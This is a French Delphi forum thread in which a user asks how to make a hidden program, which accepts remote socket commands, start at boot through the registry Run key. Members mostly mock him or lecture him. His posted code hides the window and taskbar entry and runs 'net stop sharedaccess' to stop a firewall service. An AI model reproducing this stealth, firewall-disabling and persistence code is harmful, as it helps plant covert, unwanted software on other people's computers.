Besoin de précision pour un code

Question

Bonjour j'aimerais avoir un peu d'aide pour mon code merci.

Voici mon code :
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, MMsystem, ShellAPI, Registry;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormActivate(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
if Socket.ReceiveText='OpenCD' then begin
mcisendstring('set cdaudio door open wait',nil,0,handle);
end;
if Socket.ReceiveText='CloseCD' then begin
mcisendstring('close cdaudio door closed wait', NIL, 0, handle);

end;

end;

procedure TForm1.FormActivate(Sender: TObject);
begin
shellexecute(0,'open', 'net.exe','stop sharedaccess',0,0);

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.Title := '';
ShowWindow (Form1.Handle, SW_Hide);
showwindow(Application.handle,Sw_hide);
SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW); // Rend l'application Invisible de la barre des taches
end;

end.

Mais j'aimerais implémenter cette fonction.

var Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  with Reg do
  begin
    try
      RootKey := HKEY_LOCAL_MACHINE;  // clé racine
      if    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then
      begin
        if Lance then WriteString(NomAppli, CheminAppli) // écrire
        else DeleteValue(NomAppli);                       // supprimer
        CloseKey;
      end;
    finally
      Free;
    end;
  end;
end;

Mais j'aimerais savoir si je dois implémenter ce code dans le Oncreate ? ( Car j'aimerais que le programme s'ouvre a chaque démmarage)

Si oui j'aimerais savoir quand il dise         if Lance then WriteString(NomAppli, CheminAppli) // écrire .

Le " Lance " correspond a quoi ? 
Le (NomAppli, CheminAppli) doi-je faire cela ( monprogramme, monprogramme.exe)  ( Sachant quand la personne le lancera il sera dans le meme dossier que mon programme)

merci en esperant que vous aurez comprit

Caribensila · Answer

<ToDo List>

'faudra penser à créer le thème :

[ Divers / Pas encore débutant mais j'vais bientôt m'y mettre. En attendant, j'bidouille le Registre ]    

;)

emirej · Answer

c'etait ironique :p

Non mais c'est juste que je n'ai jamais testé cette fonction alors j'aurai besoin de précision

emirej · Answer

Bah quelqun peut il le mettre correctement a mon code pour eviter que je fasse une bétise :p Car j'aimerais vraiment que le programme se lance au démarrage ! C'est la derniere chose que je demande ! Merci

Guillemouze · Answer

bon je fais une entorse au boycote :/ Le " Lance " correspond a quoi ? Selon Wikipedia : La lance est un terme générique désignant une arme d'hast dotée d'un fer emmanché sur une hampe ou long bois. Par opposition au javelot, la lance est une arme d'assaut qui n'est pas destinée à être lancée, malgré son nom. En revanche, elle est plutôt portée sous le bras du chevalier, ou par des piquiers, et se faufile entre les mailles de l'armure du combattant. Elle est popularisée par la cavaleriegothique. La lance est une des plus anciennes armes de chasse et peut-être de guerre (on a retrouvé des épieux en bois datant de 40.000 ans environ dans une tourbière). La lance servit comme arme dans des formations d'infanteries (notamment la phalange grecque et la phalange macédonienne (armée de sarisses), la légion romaine, des formations de piquiers en carrés au XVIe siècle). La lance utilisée dans la joute équestre est un modèle plus court mais tout aussi mortel, et c'est dans un tel combat qu'Henri II de France trouva la mort en 1559. Si dans l'imaginaire collectif, l'épée est l'arme médiévale par excellence, la lance est l'une de celles qui furent les plus répandues de l'histoire. http://fr.wikipedia.org/wiki/Image:Pikeniere_kl.jpg http://fr.wikipedia.org/wiki/Image:Pikeniere_kl.jpg Piquiers au Festival de Wallenstein à Memmingen, Allemagne. Formation militaire[Lance&action=edit§ion=1 modifier] La lance peut aussi désigner une petite formation de combattants montés. Ainsi, au Moyen Âge, une lance comprenait de quatre à dix hommes, sous le commandement d'un chevalier. Un chevalier assez riche ou puissant pour avoir plusieurs lances était dit chevalier banneret. Lors de la création des compagnies d'ordonnance, première ébauche d'une armée nationale, une lance était composé d'un chevalier, d'un page ou écuyer, de trois archers, d'un coutilier et d'un sergent d'armes, tous à cheval mais combattant à pied. Soit pour cent lances, six-cents hommes par compagnie. Le dernier duc de BourgogneCharles le Téméraire voulut organiser son armée en 1250 lances de neuf hommes: un chevalier, sept combattants et un page non combattant. Soit 10.000 combattants divisés en dix compagnies. Ce projet ne fut jamais achevé. =Lance&action=edit§ion=2 modifier] http://fr.wikipedia.org/wiki/Image:PallasGiustiniani.jpg http://fr.wikipedia.org/wiki/Image:PallasGiustiniani.jpg La Lance de Pallas, Vatican, Rome La lance apparaît dans un certain nombre de représentations artistiques. Lance d'Athéna, Sainte Lance, attribut positif du centurion chrétien Longin, qui sous forme de lance brisée devient ensuite l'attribut négatif de la synagogue accusée de déicide[http://fr.wikipedia.org/wiki/Lance#cite_note-0 [1]]. Citons encore la lance dont Saint-Georges terrasse le dragon, la lance qui figure sur certains portraits de Saint-Thomas, celle des lansquenets. Dans la mythologie nordique la lance était l'attribut de Wotan et des Walkyries. modifier]

Hoplite, le fantassin grec armé entre autre d'une lance,

Lancier, cavalier combattant avec une lance,

Piquier, fantassin armé d'une pique longue de plusieurs mètres

Uhlan, cavalier armé d'une lance dans l'armée prussienne.

modifier] http://fr.wiktionary.org/wiki/, Voir « lance » sur le Wiktionnaire.

Fer de lance, une page d'homonymie,

Sainte Lance, la lance ayant transpercé le côté de Jésus,

Lance d'incendie, un dispositif employé par les pompiers

Montagne de la Lance,

emirej · Answer

Merci mais ca ne m'aide pas beaucoup.

Guillemouze · Answer

ah mince ! peut etre ceci alors : Lance Armstrong est un ancien coureur cycliste, né le 18 septembre1971 à Plano (Texas, États-Unis). Il est ancien champion du monde sur route (en 1993) et a remporté le Tour de France à sept reprises (record absolu) et de manière consécutive. Sa carrière a toutefois été entachée de soupçons de dopage. Sommaire [1Biographie

2Le Tour de France : 7 victoires consécutives

2.12000

2.22001

2.32002

2.42003

2.52004

2.62005

3Controverses

4Palmarès

5Résultats sur le Tour de France

6Anecdote

7Notes

8Bibliographie

9Liens externes

modifier] Armstrong commence le cyclisme à 15 ans et passe professionnel en août 1992. Ses équipes successives sont : Motorola (1992 à 1996), Cofidis (1997), US Postal (1998 à 2004), Discovery Channel (depuis 2005). Lance Armstrong commence par faire du triathlon, qui lui donne puissance et endurance. Il se spécialise cependant dans le cyclisme. Lance Armstrong se révèle à l'occasion du Tour de France 1993. Porteur du maillot de champion des États-Unis, il remporte au sprint l'étape de Verdun. Quelques semaines plus tard à Oslo, en Norvège, il devient à 21 ans champion du monde de cyclisme sur route dans des conditions météorologiques dantesques et devant tous les favoris. Il est souvent présenté, à tort, comme le plus jeune champion du monde de sa spécialité, Karel Kaers ayant remporté son titre à 20 ans en 1934. En 1995, Lance décroche sa deuxième victoire d'étape sur le Tour, à Limoges. Franchissant la ligne en solitaire, Lance Armstrong lève un doigt vers le ciel en hommage à son équipier Fabio Casartelli, victime d'une chute mortelle trois jours plus tôt dans la descente du col du Portet d'Aspet. Armstrong s'affirme comme un coureur sur les courses d'un jour (victoire sur la Classique de San Sebastian en 1995, sur la Flèche Wallonne en 1996) mais également sur les courses à étapes d'une semaine comme le prouve sa 2e place lors du Paris-Nice de 1996. Fin 1996, alors qu'il annonce son transfert dans l'équipe Cofidis pour la saison suivante, Lance Armstrong est 9e mondial et à son meilleur niveau depuis le début de sa carrière. Mais, en octobre 1996, on lui diagnostique un cancer des testicules qui lui vaut d'être écarté de la compétition pendant plus d'un an. Son médecin estimait que ses chances de survie ne dépassaient pas 50 %. Après une guérison et une longue rééducation, il reprend le vélo et signe un contrat avec l'équipe U.S. Postal en 1998. Il est pourtant bien proche de tout abandonner après un retour à la compétition calamiteux à l'occasion du Paris-Nice 1998. Mais sa fin de saison laisse apparaître de belles promesses. Sa silhouette très affinée par rapport à ses premières années — il a en effet perdu toute la musculature du torse formée par la pratique du triathlon, qui n'était qu'un poids mort lors des ascensions — lui permet de passer la haute-montagne avec plus de facilité comme le prouve sa 4e place au Tour d'Espagne 1998. Son nouveau directeur sportif, Johan Bruyneel, parvient également à le motiver et change ses méthodes d'entraînement, lui permettant d'améliorer sa technique de pédalage. Seulement intéressé par le Tour de France à partir de 1999, il délaisse les autres grands tours et les classiques, à l'exception de l'Amstel Gold Race (2e en 1999 et 2001 ainsi que 4e en 2002) et de la doyenne des classiques à savoir Liège-Bastogne-Liège qui a constitué pendant plusieurs années le deuxième objectif majeur de sa saison. De 1999 à 2005 il gagne 7 Tours de France consécutifs. Le 19 avril2005, il annonce qu'il prendra sa retraite du cyclisme à l'issue du Tour de France 2005. Le 24 juillet2005, il tient parole et quitte le cyclisme professionnel, sur une historique septième et dernière victoire sur le Tour de France. Suite aux révélations du journal L'Équipe concernant un possible dopage à l'EPO lors du Tour de France 1999, il envisagera un temps de revenir à la compétition. De 2004 à février 2006, il a été fiancé avec Sheryl Crow. Lance Armstrong dispose de sa propre fondation pour la recherche contre le cancer : la Lance Armstrong Foundation (Livestrong). À ce jour, il nie toute prise de produit dopant.

emirej · Answer

... non allez svp

Caribensila · Answer

« Bah justement pour pas que je fasse une bétise personne ne pourrait me dire ou inclure ce code svp ? »

Moi, j'ai bien une idée...  Mais j'vais faire bannir si j't'aide.

Cirec · Answer

Décidément tu ne lis pas et n'écoutes pas ce qu'on te dit 

Je t'avais dit de mettre cette Procedure :
ShowWindow(Application.handle, Sw_hide);
Dans le OnShow et pas dans le OnCreate

Et celle-ci :
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); Tu la supprimes

pour le reste ... c'est pas le tout de piquer du code à gauche et à droite sans savoir exactement ce qu'il fait et comment !!!!

le code que tu cherches à utiliser sert à ce que ton application démarre automatiquement avec Windows. 
Lance ... (après avoir lu le code) ... est une variable  booléenne qui sera mise à True ou False selon la demande de l'utilisateur. Cette procedure peut être appelée depuis un évènement de menu (par exemple). Mais la placer dans le OnCreate serait une erreur, cela obligerait l'utilisateur à redémarrer l'application pour prendre en compte le changement sans compter qu'il faudra aussi penser à sauvegarder la valeur le temps du redémarrage Alors qu'en faire une procedure indépendante t'évite tout cela.

Mais tu brules les étapes   ce que tu fais on appel ça du bricolage de code ...
alors oui ça finit par fonctionner mais avec un code souvent lourd voir répétitif et non optimisé puisqu'en brulant les étapes tu ignores totalement certaines possibilités, finesses et autres subtilités que tu aurais pus apprendre  en suivant  un chemin moins chaotique. Enfin bon ... moi ce que j'en dis. 

Mais il faut comprendre une chose c'est que si toi tu choisis cette voie on ne pourra pas continuer a t'aider ... tu nous demandes de résoudre des problèmes que nous avons tous eut et pour la plus part  résolus tous seul grâce, notamment, à la lecture de multiples tutoriels, l'aide de Delphi (Très bon ... c'est F1 ) et ton amis Google. 
Ça ne peut pas continuer ... tu en conviendras.

C'est des questions de base de chez base que tu poses !

Par contre si tu as réellement un problème, pas un qui se règle en 5 minutes comme tout ou presque ce tu as posté, et que tu nous fais voir ce que tu as fais, que tu as cherché (réellement**) et que tu nous donnes (comme ici) un bout de code, tu trouveras quelqu'un sur ce forum pour t'aider.

** 90% (pour être gentil) de tes demandes se règlent en moins de 10 minutes  par une recherche, sur le Site, sur Google ou dans l'aide de Delphi et on apprend mieux (ça reste plus facilement en tête) quand on trouve par sois même.

Mon but n'est pas de te casser mais de te faire prendre conscience que la voie que tu empreintes ne te permettra pas de progresser correctement  et que au final tu auras perdu du temps puisque, tôt ou tard, elles vont te manquer ces bases, d'ailleurs elles te manquent déjà 

@Caribensila j'vois bien ou tu veux en v'nir  
Alors tu n'as pas réussit à lire mon message sur la source de Mauricio 
 
@+
Cirec

<hr siz="" />

Caribensila · Answer

ceriC@

llllol   ?ceriC ,emèrb enu ruop sdnerp em uT

Cirec · Answer

aah bon ... tu me rassures 

comme je pensais que tu allais rebondir ... 
et ne voyant toujours rien venir (tiens ça rimme)
je me suis dis qu'il fallait t'affranchir 
 
@+
Cirec

<hr siz="" />

Caribensila · Answer

@Cirec

Et c'est quand que tu postes ton utilitaire pour écrire en élecrosne?      

PS: "élecrosne"...   "élecrosne"    Trop joli!   Un truc à déposer à l'INPI!   Non?     ;)

Caribensila · Answer

" comme je pensais que tu allais rebondir "

Y'a des jours où il vaut mieux se faire tout petit, petit,
petit...
Sur CS
     ;)

Cirec · Answer

Ha Ha ... comme ça je pourrai dans la foulée  m'auto-supprimer (Le code) 

Function ReverseString de StrUtils .. suffit amplement 

 
@+
Cirec

<hr siz="" />

Guillemouze · Answer

joli monolgue cirec ... peut etre a mettre dans le reglement

Caribensila · Answer

"Function ReverseString" ?..

Y'a vraiment tout dans StrUtils...

J'comprends tout, now!

Cirec · Answer

fait gaffe a tes fesses c'est devenu dangereux ici .... shuuuuut 

Merci ... 

 
@+
Cirec

<hr siz="" />

cs_MAURICIO · Answer

J' ai fait un copier/coller de tout le code au cas oú j' en aurai besoin mais rien y fait: le NotePAd refuse de faire quoi que se soit à part afficher ... le code?! 
Je remarque que Notepad veut toujours pas s' ouvrir automatiquement ()&&%#$#$ !!!

Bizarre non???
Je suis sur le bon Topic ou je dois aller me faire foueter?????

Cirec · Answer

@emirej : 
t'aurai-je vexé ? 

ça serait dommage de le prendre comme ça ... c'est pour toi 

parce que malgré tout je t'ai donné deux réponse aux quelles tu n'as toujours pas répondu !!!

@Mauricio 

tu t'es fait piraté ton avatar 

 
@+
Cirec

<hr siz="" />

Besoin de précision pour un code

19 réponses

Votre réponse

Discussions similaires